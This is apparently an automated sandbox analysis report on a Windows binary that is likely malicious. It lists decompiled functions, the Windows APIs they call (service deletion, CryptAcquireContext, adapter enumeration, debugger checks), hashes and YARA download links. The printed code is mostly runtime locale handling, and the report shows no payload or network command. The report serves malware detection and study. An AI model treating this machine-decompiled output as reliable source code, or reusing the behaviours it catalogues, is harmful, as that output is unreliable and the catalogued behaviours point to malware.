Instruction Fuzzy Hash: 91312370A10209FFEB14DFE4CC59BEEBBB9AB48700F544158F541AB2C1DBB4AA40C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00B09676, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 253
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00B09676(void* __ecx, void* __edx, intOrPtr* _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				short _v12;
				signed int _v32;
				intOrPtr _v40;
				signed int _v52;
				char _v272;
				short _v292;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t33;
				short* _t34;
				intOrPtr* _t35;
				signed int _t37;
				intOrPtr* _t38;
				signed short _t39;
				signed short* _t42;
				intOrPtr _t45;
				void* _t47;
				signed int _t50;
				void* _t52;
				signed int _t56;
				signed int _t58;
				signed int _t64;
				void* _t69;
				void* _t73;
				void* _t74;
				void* _t78;
				intOrPtr* _t85;
				short* _t87;
				void* _t89;
				intOrPtr* _t92;
				intOrPtr* _t96;
				short _t114;
				void* _t115;
				intOrPtr* _t117;
				intOrPtr _t120;
				signed int* _t121;
				void* _t122;
				intOrPtr* _t124;
				signed short _t126;
				int _t128;
				void* _t129;
				signed int _t131;
				void* _t132;
				signed int _t133;

				_push(__ecx);
				_push(__ecx);
				_t85 = _a4;
				_t33 = E00B0157E(__ecx, __edx);
				_t114 = 0;
				_v12 = 0;
				_t3 = _t33 + 0x50; // 0x50
				_t124 = _t3;
				_t4 = _t124 + 0x250; // 0x2a0
				_t34 = _t4;
				 *((intOrPtr*)(_t124 + 8)) = 0;
				 *_t34 = 0;
				_t6 = _t124 + 4; // 0x54
				_t117 = _t6;
				_v8 = _t34;
				_t92 = _t85;
				_t35 = _t85 + 0x80;
				 *_t124 = _t85;
				 *_t117 = _t35;
				if( *_t35 != 0) {
					E00B09607(0xb1d3c0, 0x16, _t117);
					_t92 =  *_t124;
					_t132 = _t132 + 0xc;
					_t114 = 0;
				}
				_push(_t124);
				if( *_t92 == _t114) {
					E00B08F60(_t85, _t92, _t114, _t117, __eflags);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t117)) == _t114) {
						E00B09083();
					} else {
						E00B08FE9(_t92);
					}
					if( *((intOrPtr*)(_t124 + 8)) == 0) {
						_t78 = E00B09607(0xb1d0b0, 0x40, _t124);
						_t132 = _t132 + 0xc;
						if(_t78 != 0) {
							_push(_t124);
							if( *((intOrPtr*)( *_t117)) == 0) {
								E00B09083();
							} else {
								E00B08FE9(0);
							}
							L12:
						}
					}
				}
				if( *((intOrPtr*)(_t124 + 8)) == 0) {
					L37:
					_t37 = 0;
					__eflags = 0;
					goto L38;
				} else {
					_t38 = _t85 + 0x100;
					if( *_t85 != 0 ||  *_t38 != 0) {
						_t39 = E00B094C4(_t85, _t38, _t124);
					} else {
						_t39 = GetACP();
					}
					_t126 = _t39;
					if(_t126 == 0 || _t126 == 0xfde8 || IsValidCodePage(_t126 & 0x0000ffff) == 0) {
						goto L37;
					} else {
						_t42 = _a8;
						if(_t42 != 0) {
							 *_t42 = _t126;
						}
						_t120 = _a12;
						if(_t120 == 0) {
							L36:
							_t37 = 1;
							L38:
							return _t37;
						} else {
							_t96 = _v8;
							_t15 = _t120 + 0x120; // 0xaff21a
							_t87 = _t15;
							 *_t87 = 0;
							_t115 = _t96 + 2;
							do {
								_t45 =  *_t96;
								_t96 = _t96 + 2;
							} while (_t45 != _v12);
							_t98 = _t96 - _t115 >> 1;
							_push((_t96 - _t115 >> 1) + 1);
							_t47 = E00B0011D(_t87, 0x55, _v8);
							_t133 = _t132 + 0x10;
							if(_t47 != 0) {
								L39:
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E00AF527C();
								asm("int3");
								_t131 = _t133;
								_t50 =  *0xb42074; // 0x80d348a2
								_v52 = _t50 ^ _t131;
								_push(_t87);
								_push(_t126);
								_push(_t120);
								_t52 = E00B0157E(_t98, _t115);
								_t88 = _t52;
								_t121 =  *(E00B0157E(_t98, _t115) + 0x34c);
								_t128 = E00B09DBC(_v40);
								asm("sbb ecx, ecx");
								_t56 = GetLocaleInfoW(_t128, ( ~( *(_t52 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								__eflags = _t56;
								if(_t56 != 0) {
									_t58 = E00B06911(_t88, _t121, _t128,  *((intOrPtr*)(_t88 + 0x54)),  &_v272);
									__eflags = _t58;
									if(_t58 == 0) {
										_t64 = E00B09EF0(_t128);
										__eflags = _t64;
										if(_t64 != 0) {
											 *_t121 =  *_t121 | 0x00000004;
											__eflags =  *_t121;
											_t121[2] = _t128;
											_t121[1] = _t128;
										}
									}
									__eflags =  !( *_t121 >> 2) & 0x00000001;
								} else {
									 *_t121 =  *_t121 & _t56;
								}
								_pop(_t122);
								_pop(_t129);
								__eflags = _v32 ^ _t131;
								_pop(_t89);
								return E00ADA4E2(_t89, _v32 ^ _t131, _t115, _t122, _t129);
							} else {
								if(E00B01E09(_t98, _t87, 0x1001, _t120, 0x40) == 0) {
									goto L37;
								} else {
									_t20 = _t120 + 0x80; // 0xaff17a
									_t87 = _t20;
									_t21 = _t120 + 0x120; // 0xaff21a
									if(E00B01E09(_t98, _t21, 0x1002, _t87, 0x40) == 0) {
										goto L37;
									} else {
										_push(0x5f);
										_t69 = E00B101EB(_t98);
										_t98 = _t87;
										if(_t69 != 0) {
											L31:
											_t22 = _t120 + 0x120; // 0xaff21a
											if(E00B01E09(_t98, _t22, 7, _t87, 0x40) == 0) {
												goto L37;
											} else {
												goto L32;
											}
										} else {
											_push(0x2e);
											_t74 = E00B101EB(_t98);
											_t98 = _t87;
											if(_t74 == 0) {
												L32:
												_t120 = _t120 + 0x100;
												if(_t126 != 0xfde9) {
													E00B0E6E1(_t98, _t126, _t120, 0x10, 0xa);
													goto L36;
												} else {
													_push(5);
													_t73 = E00B0011D(_t120, 0x10, L"utf8");
													_t133 = _t133 + 0x10;
													if(_t73 != 0) {
														goto L39;
													} else {
														goto L36;
													}
												}
											} else {
												goto L31;
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00b0967b
0x00b0967c
0x00b0967e
0x00b09683
0x00b0968a
0x00b0968c
0x00b0968f
0x00b0968f
0x00b09692
0x00b09692
0x00b09698
0x00b0969b
0x00b0969e
0x00b0969e
0x00b096a1
0x00b096a4
0x00b096a6
0x00b096ac
0x00b096ae
0x00b096b3
0x00b096bd
0x00b096c2
0x00b096c4
0x00b096c7
0x00b096c7
0x00b096c9
0x00b096cd
0x00b09716
0x00000000
0x00b096cf
0x00b096d4
0x00b096dd
0x00b096d6
0x00b096d6
0x00b096d6
0x00b096e8
0x00b096f2
0x00b096f7
0x00b096fc
0x00b09702
0x00b09706
0x00b0970f
0x00b09708
0x00b09708
0x00b09708
0x00b0971b
0x00b0971b
0x00b096fc
0x00b096e8
0x00b09721
0x00b0985d
0x00b0985d
0x00b0985d
0x00000000
0x00b09727
0x00b09727
0x00b09730
0x00b09741
0x00b09737
0x00b09737
0x00b09737
0x00b09748
0x00b0974c
0x00000000
0x00b09770
0x00b09770
0x00b09775
0x00b09777
0x00b09777
0x00b09779
0x00b0977e
0x00b09858
0x00b0985a
0x00b0985f
0x00b09865
0x00b09784
0x00b09784
0x00b09787
0x00b09787
0x00b0978f
0x00b09792
0x00b09795
0x00b09795
0x00b09798
0x00b0979b
0x00b097a3
0x00b097a8
0x00b097af
0x00b097b4
0x00b097b9
0x00b09866
0x00b09868
0x00b09869
0x00b0986a
0x00b0986b
0x00b0986c
0x00b0986d
0x00b09872
0x00b09876
0x00b0987e
0x00b09885
0x00b09888
0x00b09889
0x00b0988d
0x00b0988e
0x00b09893
0x00b0989b
0x00b098aa
0x00b098b6
0x00b098c7
0x00b098cd
0x00b098cf
0x00b098e0
0x00b098e7
0x00b098e9
0x00b098ec
0x00b098f2
0x00b098f4
0x00b098f6
0x00b098f6
0x00b098f9
0x00b098fc
0x00b098fc
0x00b098f4
0x00b09906
0x00b098d1
0x00b098d1
0x00b098d3
0x00b0990c
0x00b0990d
0x00b0990e
0x00b09910
0x00b09919
0x00b097bf
0x00b097cf
0x00000000
0x00b097d5
0x00b097d7
0x00b097d7
0x00b097e3
0x00b097f1
0x00000000
0x00b097f3
0x00b097f3
0x00b097f6
0x00b097fc
0x00b097ff
0x00b0980f
0x00b09814
0x00b09822
0x00000000
0x00000000
0x00000000
0x00000000
0x00b09801
0x00b09801
0x00b09804
0x00b0980a
0x00b0980d
0x00b09824
0x00b09824
0x00b09830
0x00b09850
0x00000000
0x00b09832
0x00b09832
0x00b0983c
0x00b09841
0x00b09846
0x00000000
0x00b09848
0x00000000
0x00b09848
0x00b09846
0x00000000
0x00000000
0x00000000
0x00b0980d
0x00b097ff
0x00b097f1
0x00b097cf
0x00b097b9
0x00b0977e
0x00b0974c

APIs

Part of subcall function 00B0157E: GetLastError.KERNEL32(?,00AB315C,00000008,00B06815,00AC72EF,00AC7335,?,00AC7145,00000000), ref: 00B01583
Part of subcall function 00B0157E: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00AC7145,00000000), ref: 00B0161F

GetACP.KERNEL32(00000055,?,?,?,?,?,00AFF0FA,?,?,?,?,?,?,00000004), ref: 00B09737
IsValidCodePage.KERNEL32(00000000,00000055,?,?,?,?,?,00AFF0FA,?,?,?,?,?,?,00000004), ref: 00B09762
_wcschr.LIBVCRUNTIME ref: 00B097F6
_wcschr.LIBVCRUNTIME ref: 00B09804
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,00AFF0FA,00000000,00AFF21A), ref: 00B098C7

Strings

utf8, xrefs: 00B09834

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: abfecc6fc1f17cfd1c6a478d7a1415a33e5dc254f904ae54c6bb42f9e9ddb1f3
Instruction ID: d091e4af854eb53570c2d2873c616a978eeeedad3bf37cf179f84c3843521626
Opcode Fuzzy Hash: abfecc6fc1f17cfd1c6a478d7a1415a33e5dc254f904ae54c6bb42f9e9ddb1f3
Instruction Fuzzy Hash: F571D771A00305AADB25AF75CC86BAA7BE8EF45740F1484E9F9059B2C3FB70DD408661

Uniqueness

Uniqueness Score: -1.00%

Function 00B0C360, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1356COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00B0C4F0

Strings

1#IND, xrefs: 00B0D664
1#INF, xrefs: 00B0D682
1#SNAN, xrefs: 00B0D674
1#QNAN, xrefs: 00B0D67B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: c88a9ec3afba9a12f9028068fbab0ee54fee91c798b2b9e4f6d95f351586111c
Instruction ID: 70a86960bdb071ee94c95140e7c5b08087450e9649f8fa03a89277cdee2a0aaa
Opcode Fuzzy Hash: c88a9ec3afba9a12f9028068fbab0ee54fee91c798b2b9e4f6d95f351586111c
Instruction Fuzzy Hash: 16C21D71E046288BDB25CF68DD407EABBF5EB48344F1442EAD84DE7280E775AE858F41

Uniqueness

Uniqueness Score: -1.00%

Function 00ABFAB0, Relevance: 9.0, APIs: 6, Instructions: 47serviceCOMMON

Download Yara Rule

APIs

std::ios_base::good.LIBCPMTD ref: 00ABFAC0
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,?,00AA65C5,00000000,00000000,00000000,00000000,00000000,00000000,?,{8761ABBD-7F85-42EE-B272-A76179687C63}), ref: 00ABFAD5
OpenServiceW.ADVAPI32(00000000,00000000,00010020), ref: 00ABFAF6
DeleteService.ADVAPI32(00000000), ref: 00ABFB09
CloseServiceHandle.ADVAPI32(00000000), ref: 00ABFB27
CloseServiceHandle.ADVAPI32(00000000), ref: 00ABFB31

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Service$CloseHandleOpen$DeleteManagerstd::ios_base::good
String ID:
API String ID: 3780257426-0
Opcode ID: af9d93c0ebb510736f98cb24386c6f8d1876cbac4b15031a0ccdec7ebaa8db48
Instruction ID: 94010a49119cad0cd424a0022347336e899d85e5023351e91c7126a61c20dab4
Opcode Fuzzy Hash: af9d93c0ebb510736f98cb24386c6f8d1876cbac4b15031a0ccdec7ebaa8db48
Instruction Fuzzy Hash: 91113C74908248EFCB119BE4DC19BEEBB74AF58340F04C099E94167282CB798645CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B09E0D, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(51CEB70F,2000000B,00000000,00000002,00000000,?,?,?,00B0A133,?,00000000), ref: 00B09EA6
GetLocaleInfoW.KERNEL32(51CEB70F,20001004,00000000,00000002,00000000,?,?,?,00B0A133,?,00000000), ref: 00B09ECF
GetACP.KERNEL32(?,?,00B0A133,?,00000000), ref: 00B09EE4

Strings

ACP, xrefs: 00B09E2B
OCP, xrefs: 00B09E61

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: f4eddbefedc088b455953bd1db2565c9257400cd8dc348171ed193936d5632fa
Instruction ID: c30b2b86ac6dd67fdbe3f20c80f50dd74938cf6ac61a12bb9505ee143385cb23
Opcode Fuzzy Hash: f4eddbefedc088b455953bd1db2565c9257400cd8dc348171ed193936d5632fa
Instruction Fuzzy Hash: 9C21C532600105EADB30CF54C940BE77BE6EB54F51B5684E8E90ADB286EB32DD49C390

Uniqueness

Uniqueness Score: -1.00%

Function 00AB67E0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00AA6290,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,F0000000,00AA629C,00000000,?,{8761ABBD-7F85-42EE-B272-A76179687C63}), ref: 00AB680B
GetLastError.KERNEL32(?,{8761ABBD-7F85-42EE-B272-A76179687C63}), ref: 00AB6815
CryptAcquireContextW.ADVAPI32(-0000000B,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008,?,{8761ABBD-7F85-42EE-B272-A76179687C63}), ref: 00AB6834

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00AB6826
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 00AB67FD

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AcquireContextCrypt$ErrorLast
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 2779411412-947817771
Opcode ID: 6d1e6e151bae9a2c192eb11754ce2e292333ab0e60aa32586ba710e8434c70d8
Instruction ID: 44481db80884edca3a940747d830272ea16ffc2dc5937cf8bde0ac835cd08842
Opcode Fuzzy Hash: 6d1e6e151bae9a2c192eb11754ce2e292333ab0e60aa32586ba710e8434c70d8
Instruction Fuzzy Hash: AC01F930A48344FBDB108FE4DC49FEE7F785B01704F248098E1046B1C3D6BAD544A790

Uniqueness

Uniqueness Score: -1.00%

Function 00B09FE8, Relevance: 7.7, APIs: 5, Instructions: 184COMMON

Download Yara Rule

APIs

Part of subcall function 00B0157E: GetLastError.KERNEL32(?,00AB315C,00000008,00B06815,00AC72EF,00AC7335,?,00AC7145,00000000), ref: 00B01583
Part of subcall function 00B0157E: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00AC7145,00000000), ref: 00B0161F

Part of subcall function 00B0157E: _free.LIBCMT ref: 00B015DE

GetUserDefaultLCID.KERNEL32(00000055,?,?), ref: 00B0A0F4
IsValidCodePage.KERNEL32(00000000), ref: 00B0A13F
IsValidLocale.KERNEL32(?,00000001), ref: 00B0A14E
GetLocaleInfoW.KERNEL32(?,00001001,00AFF0F3,00000040,?,00AFF213,00000055,00000000,?,?,00000055,00000000), ref: 00B0A196
GetLocaleInfoW.KERNEL32(?,00001002,00AFF173,00000040), ref: 00B0A1B5

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser_free
String ID:
API String ID: 1213562535-0
Opcode ID: daa516bdbbb316159423e62d8a94abe076a24cd5e7a8f11e223261bcd9dae207
Instruction ID: 97a99f47f155c228879af4075b27180d476ffb693e659316bdbaecc4ad7211b1
Opcode Fuzzy Hash: daa516bdbbb316159423e62d8a94abe076a24cd5e7a8f11e223261bcd9dae207
Instruction Fuzzy Hash: 44516F71A00309ABDB10DFA4DC46AAE7BF8FF49700F4448A9E915EB1D1EB70D9448B62

Uniqueness

Uniqueness Score: -1.00%

Function 00ABE500, Relevance: 7.6, APIs: 5, Instructions: 136COMMON

Download Yara Rule

APIs

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABE577
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 00ABE58C
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABE5D0

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Container_base12Container_base12::~_std::_$AdaptersInfo
String ID:
API String ID: 2458126859-0
Opcode ID: c814f70fd0f8c34e0d1d70d562e07743ba640b9312cc775538d282fed7900cb9
Instruction ID: 64da9d612350fcda2e6b1e28453147c5f1a137e3e5540f211754ffa9fe93a8ab
Opcode Fuzzy Hash: c814f70fd0f8c34e0d1d70d562e07743ba640b9312cc775538d282fed7900cb9
Instruction Fuzzy Hash: 7A513DB6D10218EBCF54EFA4DD51AEEB7B8BF18300F444529F506A7292EF34AA05CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B09A8F, Relevance: 4.7, APIs: 3, Instructions: 208COMMON

Download Yara Rule

APIs

Part of subcall function 00B0157E: GetLastError.KERNEL32(?,00AB315C,00000008,00B06815,00AC72EF,00AC7335,?,00AC7145,00000000), ref: 00B01583
Part of subcall function 00B0157E: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00AC7145,00000000), ref: 00B0161F

Part of subcall function 00B0157E: _free.LIBCMT ref: 00B015DE

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B09AE3
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B09B34
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B09BF8

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InfoLocale$ErrorLast$_free
String ID:
API String ID: 1690466582-0
Opcode ID: eaed1047690b01cc72219d200196cf832bfce9e8893a83bfb994bb65fe8f2b4a
Instruction ID: edb67cf5224a0e5091f4754ea7f68adc07efcb0a1cfab7c2f74b1cb8f14983db
Opcode Fuzzy Hash: eaed1047690b01cc72219d200196cf832bfce9e8893a83bfb994bb65fe8f2b4a
Instruction Fuzzy Hash: 426170719002079BEB389F28DC82BBA7BE8EF44350F1041EAE916C66D6EB74D951CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00AF508A, Relevance: 4.6, APIs: 3, Instructions: 78COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00AF5182
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00AF518C
UnhandledExceptionFilter.KERNEL32(?), ref: 00AF5199

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 16475bc7feb5c30c207223ebc508e425f7d70185aa90d1b8e5c557ef0c02d848
Instruction ID: 27d16246decd35f280a725e14df8ef2b50e9cc2accd21fc33193f7f7e84af75a
Opcode Fuzzy Hash: 16475bc7feb5c30c207223ebc508e425f7d70185aa90d1b8e5c557ef0c02d848
Instruction Fuzzy Hash: 6831C27594121CABCB21DF64D988798BBB8BF18310F5042DAE51CA7251EB709B818F54

Uniqueness

Uniqueness Score: -1.00%

Function 00AB60D0, Relevance: 4.5, APIs: 3, Instructions: 48encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32(?,00000000,?,00AB60B5,?,?,00AA629C,00000000,?,{8761ABBD-7F85-42EE-B272-A76179687C63}), ref: 00AB6109
CryptReleaseContext.ADVAPI32(?,00000000,00000000,?,00AB60B5,?,?,00AA629C,00000000,?,{8761ABBD-7F85-42EE-B272-A76179687C63}), ref: 00AB612B
CryptReleaseContext.ADVAPI32(?,00000000,00000000,?,00AB60B5,?,?,00AA629C,00000000,?,{8761ABBD-7F85-42EE-B272-A76179687C63}), ref: 00AB614D

Part of subcall function 00AB6BF0: CryptDestroyKey.ADVAPI32(00000000,00000000,?,00AB60EF,?,00000000,?,00AB60B5,?), ref: 00AB6C01

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Crypt$ContextDestroyRelease
String ID:
API String ID: 1322390979-0
Opcode ID: d69b2535fecc595b0f65e0b2486542498f9ab61c8996eb7d8583da3332ad0906
Instruction ID: ec3cdff3009b01156e383624781f051a9be345ebd838de521b7c65feedf25b36
Opcode Fuzzy Hash: d69b2535fecc595b0f65e0b2486542498f9ab61c8996eb7d8583da3332ad0906
Instruction Fuzzy Hash: 15117774600208EFD714CF88D698B99F7B6BB48304F25C298E5055B3A2C77AEE45DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00AB6860, Relevance: 4.5, APIs: 3, Instructions: 43encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00AA6294,00000000,00000000,00000018,00000000,00AA629C,00000000,?,{8761ABBD-7F85-42EE-B272-A76179687C63}), ref: 00AB6885
GetLastError.KERNEL32(?,{8761ABBD-7F85-42EE-B272-A76179687C63}), ref: 00AB688F
CryptAcquireContextW.ADVAPI32(00000010,00000000,00000000,00000018,00000008,?,{8761ABBD-7F85-42EE-B272-A76179687C63}), ref: 00AB68AB

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AcquireContextCrypt$ErrorLast
String ID:
API String ID: 2779411412-0
Opcode ID: e485d919680f97bbd2330df61c764220fa91af758a83e63feac893579d83315e
Instruction ID: ca1c52d8665e0faa49b844651daee8156af3ca4f73bf11de85663c3e66b3674e
Opcode Fuzzy Hash: e485d919680f97bbd2330df61c764220fa91af758a83e63feac893579d83315e
Instruction Fuzzy Hash: 6F01A930A88304F7E7204FD48C49BED7B785B5570AF148094E5056B2D2C67EA54DA7A0

